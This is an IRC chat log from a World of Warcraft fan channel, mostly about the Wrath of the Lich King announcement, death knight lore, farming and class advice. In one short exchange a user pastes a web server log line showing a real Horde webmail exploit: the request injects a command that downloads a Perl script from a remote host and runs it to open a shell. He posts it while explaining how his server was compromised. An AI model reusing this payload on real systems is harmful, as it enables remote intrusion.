12:21.49Karaideath knights HAVE to be undead, as their name implies
12:22.14Karaiso your charascter, regardless of race, will have to look like a zombie
12:22.46Karaithe original death knights were necromancers and necrolyts, so they are a plate wearing warlock more or less
12:22.46wu-nixhmm, a gnome skeleton -_-
12:23.08KaraiAnd the second wave, came from the plague
12:23.13Karaithey were paladins risen up
12:23.21Karaialltheir holy powers corrupted to shadow
12:23.28Karaiso like
12:23.32Karaiare death knights just
12:23.39Karaishadow (class)?
12:23.48v0LTag3yeah
12:23.54v0LTag3they should be ..
12:24.01v0LTag3nooo
12:24.03Karaibasicly... you roll a paladin, get it to 70, convert al the damage it does to shadow and move on?
12:24.04v0LTag3they will make them
12:24.07v0LTag3shadow / frost
12:24.07v0LTag3..
12:24.26v0LTag3cuz the undead in all warcraft
12:24.30v0LTag3not world of warcraft
12:24.30Karaifront would imply service to the lich king
12:24.34v0LTag3yeah
12:24.35v0LTag3the lich
12:24.55Karaiand if they are alligned with the horde/alliance they are not under the lich king
12:24.56v0LTag3but they probably will make shadow/frost ..
12:25.07KaraiI really hope this doesn;t happen
12:25.12wu-nixfrostweave tailoring ftw!
12:25.14Karaithis all better be warcraft 4 >.>
12:25.19wu-nixoh wait, that's cloth
12:25.43Karaithe article also said they will be a shadow damage and tanking class
12:25.47Karaiimplying plate
12:25.50Karaiso
12:26.00Karaievery class will upgrade to plate
12:26.05Karaiit's like...
12:26.12Karaia mix of your class... and a shadow paladin
12:26.20Karaiwhich just doesn;t work
12:26.20wu-nixOP!
12:26.24Karaino shit
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12:26.32KaraiPIME TARADOX
12:26.54v0LTag3yeah
12:27.03v0LTag3omg ..
12:27.16Karaiwarlockadin
12:27.19KaraiFEAR
12:27.24v0LTag3this will be f****in imba ..
12:27.24KaraiSEAL OF UNDEATH
12:27.26v0LTag3damn it
12:27.29KaraiJUDGEMENT
12:27.31v0LTag3yep yep ;)
12:27.34KaraiHAMMER OF JUSTICE
12:27.37KaraiNUKE
12:27.42Karai/lol
12:27.44Karai/spit
12:28.17wu-nixMOER DOTS!
12:28.35Karaioh shit i am almost dead somehow! DIVINE SHIELD
12:28.42Karaican you fucking imagine
12:28.45Karailike
12:28.47Karaidotting up a rogue
12:28.50Karaiand bubbling
12:28.54Karai-.-;
12:28.58Karaithen as he runs away
12:29.01wu-niximho we should go to sleep and wake up in 24h :)
12:29.06Karaiget on your epic mount that is fastest in the game
12:29.11Karaiand ride alog side him
12:29.15Karaithen HoJ
12:29.18Karairedot
12:29.19Karaifear
12:29.20Karairedot
12:29.34v0LTag3people
12:29.39v0LTag3will death knight have
12:29.41v0LTag3rise dead?
12:29.43v0LTag3;(
12:29.47wu-nixim sure rogues can still stunlock DK =))
12:29.55Karaistunlock?
12:29.56v0LTag3;)
12:29.59Karaiwith divine shield?
12:30.08Karaido you want me to laugh now, or later?
12:30.16wu-nixlater
12:30.20Karaikk
12:30.28wu-nix5 hours 28 minutes
12:30.29wu-nix-_-
12:31.47wu-nixGood thing we have extended raid today so ill be up till 2 am eu-game time at least :)
12:32.23wu-nixBut for now.. im going out, hf ttyl
12:32.42Karai<3 bb
12:34.30v0LTag3cya
12:34.59v0LTag3tell me
12:35.03v0LTag3when i started wowf
12:35.07v0LTag3wow for the first time
12:35.18v0LTag3why did i choosed gnome warlock ? !?
12:36.21v0LTag3wow *
12:37.11Karaiafk~
12:37.50v0LTag3~~
12:37.59infobotEvery moment in which I'm called upon is torture.
12:39.58Rawsinfobot, you are a lowly warlock minion, existing only to serve us
12:39.59infobotRaws: what are you talking about?
12:40.13Rawsdon't play smart alec with me, philistine
12:40.35Raws+k
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12:52.52SveinhIs this a bug? (explanation coming up)
12:52.56SveinhFor example
12:53.11SveinhI want to check out this item, lets say "girdle of hope"
12:53.23SveinhThere are tons of items with "girdle" in them
12:53.31Sveinhso I type "girdle of ho"
12:53.37SveinhNo results found
12:53.44Adysnot a bug no
12:53.57Adysbut working on improving search aswell
12:54.49SveinhIt shouldn't be like that. I undestand if you only search for two letters, but when you do it like I described, it should work imo ;<
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13:06.15SveinhBtw, a while ago, I saw (on the underdev page) that you were working on a custom character profile-system alá CTprofiles. Is this true? :-)
13:12.14SveinhI'd also love a feature that made you able to compare two items
13:12.25Sveinhor
13:12.32SveinhThat would make me love wowhead even mroe
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13:23.00SveinhCan't you answer these questions Adys? Is it secret business? :p
13:23.25AdysWas afk :P
13:23.41Adysand yes we're working on a character profile system
13:24.01Sveinhwow brilliant
13:24.06Adyscomparing items comes with it
13:24.15Adysits a few miles away tho
13:24.17SveinhAny idea when it will be finished?
13:24.18Sveinhah :p
13:24.20SveinhI see
13:24.25SveinhAlot of work I assume
13:27.14SveinhI'm very much looking forward to I atleast.
13:27.30SveinhI won't take more of your time now ;)
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14:06.56BaronNoirHi, guys, I have a dumb question about gold gathering
14:08.15[dRaCo]dont ask to ask.
14:08.25KalrothYou need to ask to ask to ask though.
14:08.48[dRaCo]ask to ask to ask to ask?
14:08.54[dRaCo]this is getting complicated.
14:09.48BaronNoirIYO, is this ''rentable'' to gather netherweave, make it into low level stuff, and DE to sell the Arcane Dust and such ?
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14:11.19[dRaCo]imo yes, if you farm for something else at the same time... consortium rep, e.g.
14:11.35BaronNoirWell, arcane tomes and signets
14:11.46BaronNoirOn my server, one signet worth more or less 90 s.
14:12.42BaronNoirI know I'm supposed to farm motes for cash ,but every single spot with Elementals is crowded 24/24
14:13.30[dRaCo]you'll definitly make more money with DE than selling the netherweave
14:13.34[dRaCo]at least on my server
14:16.33BaronNoirWhat is the price on arcane dust on your server ?
14:16.38BaronNoirA stack, i mean
14:16.54BaronNoir(me, between 25 gold and 45 gold...Pretty variable)
14:17.59v0lTag3lol
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14:21.47BaronNoirWell, 25 gold is the absolute low, 45 the absolute high. Usually, it's around 30
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14:46.20daroothi
14:57.00bahadirdamn, a lock just soloed 2 elites at the same time...
14:59.19Infinity-Xi knew i shouldn't have joined the blizzcon irc channel
14:59.31Infinity-Xit's just a bunch of people whining about having to level again
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15:12.48Dan_hello everybody?
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15:13.14Dan_looking for some wow based advice?
15:14.32Dan_I see despite begin full to the brim the channel seems to be pretty dead?
15:14.58[dRaCo]dont ask to ask, just ask.
15:16.57Dan_indeed, well i play wow alot with my best friend and we talk over skype, but he is out of cash so he can play for a couple of weeks, i dont want to play on the charector i normally do because i will go ahead of him and we wont be on same quests,
15:17.30Dan_so should i be alli or horde , race, class . You decide, anything but human or Blood elf
15:20.40darootwell.. roll a dice?
15:21.15PalominoMuleA die.
15:21.56Dan_i could do , but i thought i would ask your opinoin, i was tempted by a shaman, never played one before any good?
15:23.17PalominoMuleWell yeah. But then, all the classes have potential.
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15:26.21Dan_indeed, in the past ive played hunter , rogue and pladi a little, of the 3 i liked the rogue best, umm i suppose i want a class thats good in pvp, im realtivly new  sorry if i seem stupid to ask a question which is based around presonaly preference
15:26.25bahadirDan_: there's a nice class guide in wowwiki.com
15:27.21PalominoMuleYeah, wowwiki.com is a great resource.
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15:27.34PalominoMuleI wish I could advise you on PvP but it's not my thing really.
15:27.56Ch0rE-anyone know how to play the public test realm?
15:28.06rayford|busyWell, if you're going to PvP, and you do roll a Shaman, I suggest you get up to the 20's bracket, then sit there.
15:28.17rayford|busyShammies are pretty godly at PvP while in their 20's.
15:28.22Ch0rE-should i download the download client or copy a client?
15:28.30bahadiralso dru's
15:29.34[dRaCo]Do you wanna PvP or Pve?
15:29.56Dan_Pvp i think , ive played mostly pve in the past,
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15:30.12[dRaCo]70 or something else?
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15:30.56Dan_i think i might be a Draenei shaman , put my burning cursade isnt here till tomorrow
15:31.15[dRaCo]tbh, shamans arent that great in 70 pvp
15:31.35rayford|busyMostly depends on your spec.
15:31.39[dRaCo]yeah
15:31.50rayford|busyIf you're Resto, you're probably ok.
15:32.00[dRaCo]resto is ok, but there are better healer
15:32.02[dRaCo]s
15:32.20[dRaCo]Elemental is fun, but there are better DDs
15:32.34[dRaCo]Enhancement isnt that great in PvP, sadly :/
15:32.35rayford|busyOh, I meant that Resto would give him the longest survivability as a 70 Shammy in PvP.
15:32.57rayford|busyYeah.  Us poor cardboard chainsaws.  No PvP lovin at all.  ) :
15:33.21Traeanyone know if it's worth doing LW for a rogue at higher levels?
15:33.42[dRaCo]the set is great until you have access to full t4
15:34.16[dRaCo]so if you are in a raiding guild, it's mainly a waste of money
15:35.54[dRaCo]the new violet eye patterns arent at all useful for rogues
15:36.10[dRaCo]there's some great stuff in BT for LWers, though
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15:50.23wu-nixKarai
15:50.30wu-nixRead the "news"?:)
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15:56.49wu-nixhttp://i2.photobucket.com/albums/y41/WoodenAndroid/06ef8e57.jpg
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15:58.39Adyshttp://www.wowwiki.com/World_of_Warcraft:_Wrath_of_the_Lich_King
15:59.18MalgayneAh!  A wiki entry!
16:00.05Adys:]
16:06.00TecnoBratblah
16:06.09MalgayneMorning Tecno
16:06.17TecnoBratI had horde webmail installed on my server from like 3 years ago
16:06.25TecnoBratthere is now a known exploit for it
16:06.29MalgayneUh oh
16:06.39TecnoBratI woke up to my webserver being down, because some idiot installed some mech bots
16:06.49TecnoBratand they aparantly like to take over port 80
16:07.01TecnoBratso as soon as the logs rotated, it killed my webserver
16:07.21TecnoBratI found out exactly how he did it tho
16:07.43TecnoBrat81.56.213.111 - - [02/Aug/2007:08:10:17 -0700] "GET //horde//services/help/?show=about&module=;%22.passthru(%22cd%20%22.chr(47).%22var%22.chr(47).%22tmp%20;%20wget%20geocities.com%22.chr(47).%22aslplshk%22.chr(47).%22bc.txt%20;perl%20bc.txt%20mail.elec2m.fr%209991%22);'. HTTP/1.1" 200 6251 "-" "Nozilla/P.N (Just for IDS woring)"
16:08.04TecnoBratyay go go include exploit
16:14.58TecnoBratits interesting what he did tho
16:15.16TecnoBratthat last one downloads a perl script, and runs it, which connects to a remote box
16:15.33TecnoBrateffectively giving him shell access
16:16.23MalgayneWhoops
16:16.25Malgaynemeeting
16:16.26Malgaynebrb
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16:34.21MalgayneWelcome Kaso
16:35.45KalrothMore chavs!
16:36.03KasoChav?!
16:36.44KalrothKaso: You're a brit, no?!
16:36.57KasoTrue
16:38.12KalrothI rest my case.
16:41.04KasoYou're german as far as i can tell, so does mean you're a saussage loving, lederhosen-clad person who's always drunk on beer?
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16:41.24TecnoBratThat sounds like a Canadian
16:44.32rayford|busyAlways drunk on beer?  I dunno.  Sounds sorta like me.
16:46.54MalgayneMorning Ray.
16:46.59MalgayneYou heard the news?
16:47.19rayford|busyAbout Wrath of the Lich King?
16:50.15MalgayneYup
16:50.19rayford|busyMal?
16:51.29rayford|busyTwo things.  1)  That was a long pause to type out 3 letters.  B)  I've known about the rumors of WotLK for like a week now.  : P
16:52.12MalgayneNo, I mean the official announcement
16:53.44rayford|busyYeah.  I read worldofraids.com like every morning.  I saw the screenshot that was linked earlier like an hour before it was linked here.
16:55.21MalgayneYeah
16:55.34MalgayneBut the boss probably wouldn't approve of a link from allakhazam to worldofraids
16:55.43MalgayneSo the wowwiki article helped.  :)
16:58.59rayford|busyBut yeah.  I've known about it for like a week now.  : P
16:59.31KaraiWell I'm pissed.
16:59.34rayford|busy?
16:59.38MalgayneI know you knew about the expansion
16:59.50MalgayneI was asking if you'd heard about the official announcement, that's all.  :)
17:01.11rayford|busyOh. Yeah.  : P
17:01.15MalgayneWhat's up Karai?
17:01.42KaraiPlayable class: Death Knight
17:01.50Karaifucking christ -.-;
17:01.53Karaiworst idea ever
17:02.09MalgaynePeople have been clamoring for it forever
17:02.11Karainot to mention if they plan on a 2009 expansion, what the fuck is scarier than arthas?
17:02.20MalgayneSargeras
17:02.21Malgayne:P
17:02.33Karai2010?
17:02.55Malgayne"25 random guys no one has every heard of destroy Elder God!  News at 11!"
17:02.56Karaithey put a huge limit to the game
17:03.31rayford|busyDon't forget seige weapons, and destroyable buildings in the BG that'll come with WotLK.
17:03.41Karaifucking hell
17:03.45KaraiI'm quitting wow again
17:03.46Karai-.-;
17:03.56rayford|busyCan I have your stuff?
17:03.59Karaino
17:04.00Malgaynehaha
17:04.03Karainot my account
17:04.08Karaii sold my last one :P
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17:04.15rayford|busyThen can I have this one?
17:04.23MalgayneWhy'd you start again?
17:05.02rayford|busyAnyway, yeah.  They're introducing new dances, new hairstyles, and the ability to change your hair in game.
17:05.08KaraiI quit wow because my guild died an di was fuckingbored
17:05.22Karaiand then my friend gave me his 56 pally
17:05.25Karaiso i decided to play it
17:05.36MalgayneHow long ago was that?
17:05.39KaraiSee, Blizzard doesn;t care about the game anymore
17:05.48KaraiThey jsut want as much money as they can get
17:05.55Karaithrow the lore right out the fucking window!
17:06.13Malgaynelol--by changing your hairstyle, or were you referring to something else?
17:06.19KaraiI had only quit for 2 or so months before I got this paladin
17:06.23rayford|busyDeath Knights.
17:06.28Karaiaye, the knights
17:06.33Karaiand
17:06.52Karairemember back when blizzard said "you will never be able to change your character's appearance once it is made"
17:06.54Karaiyeah
17:06.57Karaithey don';t care
17:06.59Karaithey jsut want money
17:07.02Karai-.-;
17:07.11Karaithye alreayd make millions of dollers a month
17:07.12Ch0rE-does druids get the epic mount in a quest? or do they buy it?
17:07.19Karaiquest
17:07.25rayford|busyEh.  The one thing I really don't like?  You can kill Illidan, but Kael is left alive.  Illidan is so much more badass.
17:07.28Karaibut they have to spend 5000 to enable quest
17:07.39Karaithe thing with wow
17:07.40Karaiis
17:07.40MalgayneMeh.  Blizz hasn't let me down yet
17:07.46Karaiit's tmeline is 'frozen'
17:08.04rayford|busyCh0re:  Druids have to buy their epic land mounts.  They get an epic flight form in Outlands from a quest.  But its long and tough.
17:08.11Karairagnoros, nefarion, onyxia, illidan, etc etc
17:08.14Karainone of them are actually dead
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17:08.41Karaiwow doesn;t have a linear storyline as the warcraft games
17:08.50Karaiyou knwo what i mean?
17:08.57MalgayneWell, that's sort of a universal MMO problem
17:09.01Karaiyeah
17:09.03MalgayneBut yeah, I agree with you
17:09.26Karaibut death knights?
17:09.30Karaisure it SOUNDS cool
17:09.31Karaibut
17:09.42Karaihell, even warlocks are pushing it
17:09.49MalgayneHow do you mean?
17:09.52Karaiwell
17:10.05Karaiif you were to form an allegiance to fight evil and save the world
17:10.10Karaiwoudl you recruit demons?
17:10.15rayford|busyWell, here's an idea.
17:10.16Karaior undead shadow paladins?
17:10.20MalgayneThat depends, Karai
17:10.25MalgayneAm I a real life general
17:10.28MalgayneOr a video game character?
17:10.37MalgayneAnd I know that sounds like a pedantic question
17:10.50KaraiYou're in a barabaric, racist enviroment where murder is barely an afterthought, let alone a crime
17:10.54rayford|busyMaybe the Death Knight is just a PvP type character.  While you play a Death Knight, you can't do instances.  You can't quest.  All you can do is ride around and PvP against others.
17:11.06MalgayneBut no, if I were the secretary of defense I wouldn't be hiring demons, that's for sure
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17:11.08Karaideath knight is a playable class
17:11.14Karaiit's not a level 80 premade pvp monster
17:11.24MalgayneBut the idea of consorting with demons to fight other demons is a lot older that WoW
17:11.33rayford|busyThey said that it'll start off in the high level area.
17:11.52KaraiMal: exactly, so you think that the knights of stormwind, the silver hand, the argent dawn, etc, would want death knights walking around their streets and chapels?
17:12.16Karairay: it is rumored death knights are a hero class
17:12.24Karailike
17:12.32MalgayneOf course not.  but if you go back to War3
17:12.33Karailevel your shaman to 70 and turn it into a deaht knight
17:12.46MalgayneThe priestesses of Elune aren't too keen on Demons either
17:12.55MalgayneBut that didn't stop Demon Hunters from being a playable hero in War3
17:13.13MalgayneAnd their power is demonic in nature
17:13.45KaraiThe way that I view a deaht knight, is from reading the lore of naxxramas and other such scourge related things
17:13.48MalgayneThe warlocks in stormwind all hide out in a secret room underneath a building
17:13.54Karaimurdered paladins risen up again
17:14.15KaraiScarlet Lord Mograine is my prime example
17:14.49KaraiHis holy magic was converted into shadow, as he was a slave to the lich king, and labeled a death knight
17:14.51MalgayneWell, just because they're calling it a "Death Knight" doesn't mean it's what we know as a death knight from before
17:15.01Karaiall, and i mean all, death knights are undead
17:15.04Karaiso hwo wil lthat work?
17:15.08MalgayneIn War3, death knights were risen paladins
17:15.17MalgayneIn War2, they were undead orcish warlocks
17:15.28Malgaynewhoops--meeting.  brb.
17:15.36Karaithe first death knights were necrolyts of the corrupted horde
17:15.41Karaikk
17:16.34KaraiEither way, death knights are a tanking/dps class, with plate armor and shield abilities, using shadow magic
17:16.43Karaibasicly a warlock/palaidn hybrid :P
17:16.50Karaiie the scourge's death knights
17:16.59rayford|busytwo classes that DON'T need to be combined.  : P
17:17.05KaraiI don't know if they are goign to be a similar class to paladin in play style/
17:17.21KaraiBut from the sounds of it
17:17.23Karaithey are jsut paladins
17:17.28Karaithat use shadow instead of holy
17:17.34Karaimaking them resistable
17:17.38Karaisigh
17:17.43KaraiI don;t want to see this happen :(
17:18.06rayford|busyEh.  Give it time.  Lets see what they do with it.  Ya never know.  It might be good.
17:18.17rayford|busyAnd if not, just do what I do.
17:18.22rayford|busyDrink your cares away.  :D
17:18.32Karaiheh
17:20.39KaraiAlso
17:20.45KaraiSargeras is dead and gone
17:20.55KaraiArthas I suppose is the biggest threat to the world
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17:21.09Traeso
17:21.11Karaimaking his 'defeat' in 2009 the end of wow
17:21.16Traedid we get confirmationa bout Lich King?
17:21.22KaraiWell
17:21.34Karaiit's confirmed that we are going to northren
17:21.37Karainorthrend
17:21.39Traewow
17:21.54deltron:D
17:21.55Karaihttp://www.wowwiki.com/World_of_Warcraft:_Wrath_of_the_Lich_King
17:22.08KaraiSo
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17:22.25KaraiI am goign to say yes, we will fight Arthas, and like all boss encounters, we will kill him
17:22.34KaraiSo... What's next?
17:22.41Traeoooh icy.... cool!
17:22.41KaraiAfter Arthas.... who do we fight?
17:22.57wu-nixim sure Blizzard will come up with something ;)
17:23.05Karaisigh
17:23.05rayford|busyAnother old god?
17:23.05GotTorquePunkMost Definitely.
17:23.10rayford|busyMayhaps a titan?
17:23.17GotTorquePunkArthas will be the follower of 'blank' -.-
17:23.22Traehere is the thing
17:23.27Traeyou guys will keep playing
17:23.29Traeso will I
17:23.30Trae;)
17:23.34KaraiI won't
17:23.35GotTorquePunkVery true
17:23.39TraeKarai, lol
17:23.48KaraiI'd quit right now if I didn;t spend $100 to get back into the game
17:23.52TraeKalroth, like a needle needs a vein, like a town needs a name, I need your love.
17:23.55Traeerrr
17:23.58Kalroth:(
17:23.59Trae<PROTECTED>
17:24.04GotTorquePunkI will get yme epix loot from Arthas, and will be followed by another 200 or so from my server, and we will wait till the next big guy to spend a couple months, trying to master.
17:24.07KalrothYou can get my love too, hon!
17:24.21TraeKalroth, lol
17:24.42Traemeh I've quit twice already
17:24.45Traeheh
17:24.49TraeI'm quitting quitting
17:24.49GotTorquePunkSame here
17:24.55GotTorquePunkNearly a 3rd time. lol
17:24.57Traeuntil I quit
17:24.58KaraiNow
17:24.59Traelol
17:25.06KaraiIf you could defect from your faction to another
17:25.08Karaiit woudl all be alright
17:25.10KaraiImagine
17:25.17TraeI had to move my game PC down to my basement away from my office
17:25.19Karaidefecting when you get to level 80
17:25.22TraeI was playing waaaaay too much
17:25.23Karaiand joining the scourge
17:25.32GotTorquePunkThey should introduce Civil War in main towns faction wide =D
17:25.32Karaideathknight woudl be plausable then
17:25.39TraeKarai, hahha
17:25.41Karaiand PvPing to keep everyone out of northrend
17:25.43TraeKarai, that's interesting
17:25.43Karaiwoudl be fun
17:26.04Traepersonally
17:26.19TraeI think everyone should be able to kill anyone even your own race
17:26.25KaraiI would love to join the Argent Dawn on my paladin :P
17:26.26GotTorquePunkI agree
17:26.39GotTorquePunkI <3 owning Halaa.
17:26.42TraeScrew this "duel" crap
17:26.43Traeheh
17:27.02KaraiSo..
17:27.07KaraiWho wants to solo BWL at 80:
17:27.09Karai??
17:27.14GotTorquePunklol
17:27.23Traelol
17:27.25GotTorquePunkEh, it will probably be 3-mannable
17:27.42GotTorquePunkMaybe 2-man with epix 80
17:27.42KaraiI'm gunna go 3 man ZG at 70, so..
17:27.42TraeI haven't even done Naxx or AQ40 yet and I have 2 70's heh
17:27.43GotTorquePunklol
17:28.05KaraiSrsly
17:28.09Karaiat level 62 on my old pally
17:28.12Karaiwithout any heals
17:28.12GotTorquePunkNaxx is easy biz at 70
17:28.15TraeI got attuned to MC but only for "fun"  we never even did MC
17:28.20KaraiI tanked all of panther's adds wiht consectrate
17:28.32KaraiNaxx is still a 40 man at 70
17:28.35Karaiwell
17:28.36TraeI was 60 2 weeks before TBC came out
17:28.36Karai30~
17:28.47GotTorquePunk28 is what we pulled it off with
17:29.01Karaifor the 4 horsemen
17:29.03Karaiyou sitll need like
17:29.08Karai8 tanks and 10 hearlers
17:29.09Karaiamirite?
17:29.14GotTorquePunkAt least, yes
17:29.17Karai:P
17:29.18GotTorquePunkWell
17:29.19GotTorquePunkSorta
17:29.25GotTorquePunkWe use epic drood tanks
17:29.30KaraiOh
17:29.31KaraiOh shit
17:29.32Karaio.o
17:29.35GotTorquePunkWhich work out a LOT better than warriors
17:29.41Karaiomg
17:29.49KaraiI bet
17:29.49GotTorquePunkSo more like 6 tanks if they are all druids
17:29.53Karaiany amount of monye
17:30.07Karaithat we will be able to cleanse the ashbringer to fight in northrend
17:30.19Karai:x
17:30.31TraeWell... I for one am excited about the next XP
17:30.35TraeXPac
17:30.36Traeheh
17:30.42Traebut it won't even be here for another year
17:30.43Traesooo
17:30.45KaraiI think it's too soon
17:30.49Traeno use in getting too excited
17:30.50GotTorquePunkWe were 10 priests, 5 rogues, 7 druids, 1 warrior, 4 mages, 1 lock. 0 hunters, 0 pallies.
17:30.54Dan_so the release date is sometime late 08??
17:31.26TraeI need to get my Rogue up to 70 and then I don't know I've been wanting to roll a druid for some stupid reason
17:31.39Karaithere is a zone in wow live servers called emerald dream
17:31.40GotTorquePunkAfter my 70 rouge, I rolled a lock
17:31.44Karaii wish they would put that out first :P
17:31.50GotTorquePunklol
17:32.03Karaiand i wish they would remove the gates holding up bakc from "present" hyjal
17:32.06KaraiI mean
17:32.10Karaiit's a fucking awesome map
17:32.12Karaix.x;
17:33.58KaraiI've played a rogue to 60 and did MC, then quit that server and started up a paladin, got it to 70, and quit shortly after, then got a 56 paladin and am not 64
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17:34.09Karainow*
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17:34.39GotTorquePunklol
17:34.40GotTorquePunkNice
17:35.49Karai*shrug* I dunno, I'm getting a bit tired of the game, it's fun and all, but I don't really play it for the gear or anything
17:36.03KaraiI just enjoy the design of it, screwing around with friends etc
17:36.07GotTorquePunkYe
17:36.09GotTorquePunkYea*
17:38.32AnsiWasnt there live streaming from Blizzcon?
17:38.51KaraiOH FUCK
17:38.56KaraiI just downloaded hot fuzz
17:38.59Karaiand it's in french
17:39.03rayford|busyAh haha.
17:39.03Karaigod dammit -.-;
17:41.05Kalrothhaha
17:41.18KalrothSend it to Adys
17:41.25Karai:P
17:41.40Adys><
17:42.08deltronlol
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17:42.29KalrothShe doesn't understand english anyways, so the movie with original language is wasted on her!
17:43.53Adyswhats with the she
17:44.01Karai:P
17:44.06KaraiWe're all dreaming
17:44.17KalrothI prefer all my internet buddies to be female
17:44.32KalrothOtherwise it feels weird when I'm .. actually nevermind!
17:44.38Karai:D
17:46.49KalrothBut I think it's because Adys is a girly name and I keep giving nicknames a gender.
17:47.04KalrothLike Karai, she's probably a night elf hunter!
17:47.13Adyshax, i thought the same
17:47.16jmeAnsi: http://www.giga.de/2/live/free/
17:47.22rayford|busyIn my mind, all of you except for Mal are Night Elf Hunters.
17:47.24AdysKalroth is probaly a female tauren death knight too
17:47.25Ansithank you
17:47.40AdysAnsi
17:47.46Adysthats some weird nickname
17:48.20KalrothAt least it's not Ascii!
17:48.28jmeor Unicode
17:48.32AdysUnicode sounds feminine
17:48.34KalrothUTF8
17:48.37Adysso ill say Ansi is male
17:48.44Adys(bunch of nerds)
17:48.44jmeISO8859
17:48.59KalrothAnsi sounds girl'ish to be honest
17:49.16KalrothEither a girl or a dog
17:49.26Adysfemale dog exist kal
17:49.37Adysyou should know that, particularly due to the fact that... nevermind
17:49.55jme*) Note that Intel based Macs are unable to play Windows Media Video. This channel can not be watched with Octoshape on Intel Macs for the time being.
17:49.59jmenoooooooo
17:50.12KalrothAdys: woof?
17:50.17Adysrawr
17:50.54KalrothAnyways, genders on a dog isn't that important
17:51.10KalrothIt's ok to give a male dog a female name.
17:51.33rayford|busyI plan on naming my dog Dog or Dogzilla.  Or maybe Maximus Woofus the III.  :D
17:51.50KalrothI'd go with 'Dog'
17:52.24KalrothBecause it'd suck waking all the neighbours at 4am, when Maximus runs off
17:52.47Karaiwhat's the link to that german translation?
17:53.39AnsiAnsi is art
17:53.55KalrothAnsi is also a standard
17:53.57AnsiMale tauren art, to be frank
17:54.10KalrothBut I agree, BBS ansi graphics rules!
17:54.16Ansi:-)
17:54.19KalrothAnsi: I'll be Jim then!
17:55.47AnsiThat livestream link
17:55.58AnsiJust runs commercials till 20:00 ?
17:57.50Ch0rE-Can you kill stuff in Zangarmasrsh to get rep with cenarion expedition?
18:01.21rayford|busyDon't think so.  Think you can only turn in plant parts up till like Honored or so.
18:01.40rayford|busyBut then again, my Cenarion rep is the suck, so don't hold me to that.  >.>
18:10.18wu-nixhttp://www.mmo-champion.com/images/news/2007/july/leaflet.jpg
18:17.36facelessleader|gahh giga tv sucks, i hate this pseudo pro ppl there
18:18.14facelessleader|gyears ago this was great
18:20.32facelessleader|gyeah and stream lags like shiat
18:34.30facelessleader|gyeah this was great -.- because stream is lagging i ran like a crazy chick to my garten to watch giga reluar on my tv and over beamer.... only to recognize, that blizzcon is only shown on stream...
18:36.02rayford|busyHahaha.
18:36.07facelessleader|g:/
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18:37.29Malgayne:(
18:38.57facelessleader|gnow i am watchig the lagging tiny stream again :(
18:39.34wu-nixBoubouille where are yoooooooooou
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18:40.46rayford|busyMal, you know that Bog is thinkin of moving to SD?
18:41.14MalgayneReally?
18:41.16Malgaynecrazy
18:41.17rayford|busyYeah
18:41.48rayford|busyHe put in like 20 applications yesterday.
18:42.24rayford|busyThat'd be awesome.  Then it'd be how many KotVers within 2 hours of each other?
18:42.30Malgaynelike ten
18:42.49rayford|busyThats a Kara raid right there.  All in the same room.  >.>
18:43.00rayford|busyWho needs Vent?!  I can yell at you guys in person!  :D
18:43.08MalgayneLessee
18:45.20MalgayneYou, me, Norzo, Xeno, Kurumai, Moon, Dette, Xhristo, Jasica
18:46.02rayford|busyThen Bog, too.
18:46.06Malgayneright
18:46.11rayford|busyWait.  Moon is in SoCal?  = O
18:46.39MalgayneYeah
18:46.44MalgayneOrange county
18:48.05rayford|busyOh.  I did not know that.
18:51.40Luxfiathttp://elitistjerks.com/439265-post105.html so OP
18:52.20Malgaynenice one
18:55.28Malgaynelol
18:55.28Malgaynehttp://youtube.com/watch?v=YOWH2qvMhVc
18:55.44rayford|busyBrb.  Rebooting.
18:57.00KasoLuxfiat, yah, that'd just be the iwin button in arenas
18:57.26LuxfiatAnd it's instant cast too
18:57.43Luxfiatsee a priest winding up a gheal and pop it last second
18:59.48SroshGreat, more healing counters. Don't they ever come up with something else?
19:02.00wu-nixRather than using rage, energy, or mana, Death Knights have a special "rune sword" displayed beneath their health bar, onto which the player can etch six different runes (choose between Frost, Blood, and Unholy).
19:02.00wu-nixzomg?
19:04.52MalgayneWell, I'm excited.  :)
19:04.59Kasothat sounds confusing
19:05.19wu-nixYea
19:06.03wu-nixi should help Boubouille do some HP cluster so the site go faster -_-
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19:10.56wmfootball71hey
19:12.21wmfootball71anybody here?
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19:15.43wu-nixhttp://www.1up.com/do/newsStory?cId=3161725
19:16.49wmfootball71?
19:18.33wmfootball71yeah i saw that on G4
19:18.37wmfootball71its just a rumor still
19:19.32wu-nixlol? no!
19:19.47rayford|busyWhats a rumor?
19:21.57rayford|busyIf you're referring to Wrath of the Lich King, its been confirmed, actually.
19:22.02Kasohttp://www.wow-europe.com/wrath/ !!!
19:22.12Kasoconfirmed indeed
19:23.13rayford|busyOr there's http://worldofwarcraft.com/wrath/ for us American's.  : P
19:23.53deltron:P
19:24.26wmfootball71heh
19:24.34wmfootball71dont get to excited...yet
19:25.10wmfootball71i see its confirmed now, but im sure the wait is going to be ridiculous, just like the burning crusades wait was
19:25.57rayford|busyOh, no doubt.  I'm thinking it'll take two years for them to crank it out.
19:27.38wmfootball71and probably a few date pushbacks to go along with it
19:29.45rayford|busyOooh.  They have screenshots up.
19:36.16wmfootball71link?
19:36.59wu-nix[22:23] <Kaso> http://www.wow-europe.com/wrath/ !!!
19:44.03rayford|busyKarai, was it you that was complaining about Death Knight's?
19:45.35Karaiyes
19:46.01rayford|busyhttp://www.1up.com/do/newsStory?cId=3161725  According to that, the Death Knight is only usable in endgame content.
19:46.09wmfootball71yeah it is
19:46.13wmfootball71you have to finish a level 80 quest
19:46.25wmfootball71and then you get the death knight while its already level 60 or 70
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19:46.40Karaistill
19:46.46Karaishouldn;t be a playable class
19:46.58Karaiand that would suck anyway
19:47.02Karailike
19:47.14wmfootball71nah it will own
19:47.14Karaigetting a hunter at level 60 when you never played one, and trying to figure shit out
19:47.15rayford|busySec.  Rebooting again.
19:47.17Karaiis hard enough
19:47.33wmfootball71who cares it will still own
19:47.53Karai-.-
19:48.01Karaithis is why we can;t have nice things
19:48.17wmfootball71they wouldnt care either way
19:48.21wmfootball71accept it lol
19:48.28Karaitoo many dummies who care more about killing shit than the story warcraft is playing out
19:48.58wmfootball71to many as in
19:49.06wmfootball71about 8 out of 8.5 million or so
19:49.19wmfootball71(thats a estimate)
19:54.30Karai*shrug*
19:55.02KaraiIt just makes me sad to see Blizzard make their game mainstream and pointless, so retarded kids can play it.
19:58.28TraeKarai, yous till going on about the death knight?  lol
19:59.10TraeSo what I don't understand is.... let's say I have a L80 rogue, does it "morph" into a Death Knight?
19:59.14Traeor...
19:59.29Traeis a Death Knight just yet another class like mage, priest, hunter etc
19:59.34wmfootball71its like
